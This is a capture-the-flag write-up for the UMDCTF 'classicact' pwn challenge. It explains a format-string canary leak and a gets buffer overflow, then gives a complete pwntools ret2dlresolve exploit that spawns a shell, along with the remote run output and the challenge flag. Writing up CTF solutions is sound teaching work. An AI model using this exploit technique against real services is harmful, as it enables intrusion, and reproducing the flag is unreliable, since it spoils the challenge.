Tags: bof format-string pwn ret2dlresolve
Rating:
Pwning your friends is a class act. So why not do it to some random server?
Author: WittsEnd2
0.cloud.chals.io 10058
Tags: pwn x86-64 bof ret2dlresolve format-string remote-shell
printf
without a format-string + gets
, basically makes this a choose your own adventure.
I solved this with ret2dlresolve. Read this and follow the links there if you want to learn more about ret2dlresolve.
The short of it is, use printf
to leak the canary, then gets
to overflow the buffer for a ROP chain that uses ret2dlresolve.
60 second solve.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
gets
+ Partial RELRO + No PIE = ret2dlresolve. We'll just have to take care of that canary first.
bool vuln(void)
{
int iVar1;
long in_FS_OFFSET;
char local_68 [16];
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Please enter your name!");
gets(local_68);
puts("Hello:");
printf(local_68);
putchar(10);
puts("What would you like to do today?");
gets(local_58);
iVar1 = strncmp(local_58,"Play in UMDCTF!",0xf);
if (iVar1 != 0) {
puts("Good luck doing that!");
}
else {
puts("You have come to the right place!");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return iVar1 != 0;
}
The main vulnerability is gets
, but there is a canary spoiling our fun; no worries, printf
has no format string, so we can use it to leak the canary from the stack:
0x00007fffffffe2e0│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe2e8│+0x0008: 0x00007fff00000000
0x00007fffffffe2f0│+0x0010: 0x0000000068616c62 ("blah"?) ← $rdi
0x00007fffffffe2f8│+0x0018: 0x0000000000000000
0x00007fffffffe300│+0x0020: 0x00007ffff7fad4a0 → 0x0000000000000000
0x00007fffffffe308│+0x0028: 0x00007ffff7e516bd → <_IO_file_setbuf+13> test rax, rax
0x00007fffffffe310│+0x0030: 0x00007ffff7fac6a0 → 0x00000000fbad2887
0x00007fffffffe318│+0x0038: 0x00007ffff7e47dbc → <setbuffer+204> test DWORD PTR [rbx], 0x8000
0x00007fffffffe320│+0x0040: 0x00000000000000c2
0x00007fffffffe328│+0x0048: 0x0000000000401340 → <__libc_csu_init+0> endbr64
0x00007fffffffe330│+0x0050: 0x00007fffffffe350 → 0x00007fffffffe370 → 0x0000000000000000
0x00007fffffffe338│+0x0058: 0x0000000000401110 → <_start+0> endbr64
0x00007fffffffe340│+0x0060: 0x00007fffffffe460 → 0x0000000000000001
0x00007fffffffe348│+0x0068: 0xd9d9ed67a31c1800
0x00007fffffffe350│+0x0070: 0x00007fffffffe370 → 0x0000000000000000 ← $rbp
This is the stack just before printf
is called. The canary is just above the preserved base pointer ($rbp
). You can verify this with canary
:
gef➤ canary
[+] Found AT_RANDOM at 0x7fffffffe6c9, reading 8 bytes
[+] The canary of process 28661 is 0xd9d9ed67a31c1800
To compute the parameter to pass to printf
:
gef➤ p/d 0x68 / 8 + 6
$1 = 19
The canary is 0x68
bytes from rsp
(see stack dump above). Since this is a 64-bit system, just divide by 8 and add 6 (since the previous 5 parameters are in registers, Google for Linux x86_64 ABI or read the printf
disassembly or some of my other format-string write ups for details on why 6).
The rest is cooker cutter ret2dlresolve.
#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./classicact',checksec=False)
dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])
rop = ROP(binary)
ret = rop.find_gadget(['ret'])[0]
rop.raw(ret)
rop.gets(dl.data_addr)
rop.ret2dlresolve(dl)
if args.REMOTE:
p = remote('0.cloud.chals.io', 10058)
else:
p = process(binary.path)
p.sendlineafter(b'name!\n',b'%19$p')
p.recvline()
canary = int(p.recvline().strip().decode(),16)
log.info('canary: {x}'.format(x = hex(canary)))
payload = b''
payload += (0x58 - 0x10) * b'A'
payload += p64(canary)
payload += (0x58 - len(payload)) * b'B'
payload += rop.chain()
payload += b'\n'
payload += dl.payload
p.sendlineafter(b'today?\n',payload)
p.interactive()
Not a lot to explain here. Just create the ret2dlresolve payload, connect and leak the canary, then write out garbage with the canary inserted into the correct place followed by ret2dlresolve payload, and win!
If you do not understand
(0x58 - 0x10)
et al, read the decompile carefully or some of my other write ups. Or look at the stack. (it's just distance fromlocal_58
(gets
buffer) tolocal_10
(the canary)).
Output:
# ./exploit.py REMOTE=1
[*] Loaded 14 cached gadgets for './classicact'
[+] Opening connection to 0.cloud.chals.io on port 10058: Done
[*] canary: 0x5fc49ac400614c00
[*] Switching to interactive mode
Good luck doing that!
$ cat flag
UMDCTF{H3r3_W3_G0_AgAIn_an0thEr_RET2LIBC}
Or, is it?